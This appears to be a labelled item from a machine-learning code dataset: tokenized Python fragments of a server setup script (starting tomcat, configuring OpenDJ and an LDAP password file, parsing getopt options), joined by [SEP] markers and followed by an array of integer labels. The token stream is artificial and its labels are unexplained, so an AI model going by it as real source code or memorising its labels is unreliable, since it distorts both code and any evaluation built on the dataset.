"'", "tom", "cat", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "'", "start", "'_", ",_", "'", "tom", "cat", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "'", "tom", "cat", "'_", ",_", "'", "start", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "startin", "g", " ", "tom", "cat", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "configur", "e\\u", "opend", "j", "\\u", "install_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "opend", "j", "\\u", "version_", "==_", "\"", "2.6", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "load", "Ld", "if", "Command_", "=_", "self_", "._", "import", "Ld", "if", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ldap", "\\u", "back", "end", "\\u", "type_", "=_", "'", "local", "-", "db", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "load", "Ld", "if", "Command_", "=_", "self_", "._", "ldap", "Modif", "y", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "ldap", "\\u", "back", "end", "\\u", "type_", "=_", "'", "je", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "open_", "(_", "self_", "._", "ldap", "Pass", "Fn_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "write_", "(_", "self_", "._", "ldap", "Pass_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"/", "bin", "/", "chown", "\"_", ",_", "'", "ldap", ":", "ldap", "'_", ",_", "self_", "._", "ldap", "Pass", "Fn_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "writ", "ing", " ", "temporar", "y", " ", "LDA", "P", " ", "password", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Opts_", "(_", "argv_", ",_", "setup", "Options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "opts_", ",_", "args_", "=_", "getopt_", "._", "getopt_", "(_", "argv_", ",_", "\"", "acd", ":", "fh", "Nn", ":", "su", "w", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "getopt_", "._", "Get", "opt", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "help_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "opt_", ",_", "arg_", "in_", "opts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "opt_", "==_", "'-", "a", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "[_", "'", "install", "Asi", "mba", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "'-", "c", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "[_", "'", "install", "Cas", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "'-", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "path_", "._", "exists_", "(_", "arg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "[_", "'", "install", "\\u", "dir", "'_", "]_", "=_", "arg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "System", " ", "folder", " ", "%", "s", " ", "doe", "s", " ", "not", " ", "exist", ".", " ", "Install", "ing", " ", "in", " ", "%", "s", "'_", "%_", "(_", "arg_", ",_", "os_", "._", "getcwd_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "'-", "h", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print", "\\u", "help_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "\"-", "f", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "path_", "._", "isfile_", "(_", "arg_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "setup", "Options_", "[_", "'", "setup", "\\u", "proper", "ties", "'_", "]_", "=_", "arg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Foun", "d", " ", "setup", " ", "proper", "ties", " ", "%", "s", "\\\\", "n", "\"_", "%_", "arg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "\"\\\\", "n", "Oo", "ops", "...", " ", "%", "s", " ", "file", " ", "not", " ", "found", " ", "for", " ", "setup", " ", "proper", "ties", ".\\\\", "n", "\"_", "%_", "arg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\\\\", "n", "Oo", "ops", "...", " ", "%", "s", " ", "file", " ", "not", " ", "found", "\\\\", "n", "\"_", "%_", "arg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "\"-", "n", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "[_", "'", "no", "Prom", "pt", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "\"-", "N", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "[_", "'", "install", "HTTP", "D", "'_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "\"-", "s", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "[_", "'", "install", "Sam", "l", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "\"-", "w", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "[_", "'", "download", "War", "s", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "opt_", "==_", "'-", "r", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Options_", "[_", "'", "install", "Ox", "Auth", "RP", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "setup", "Options_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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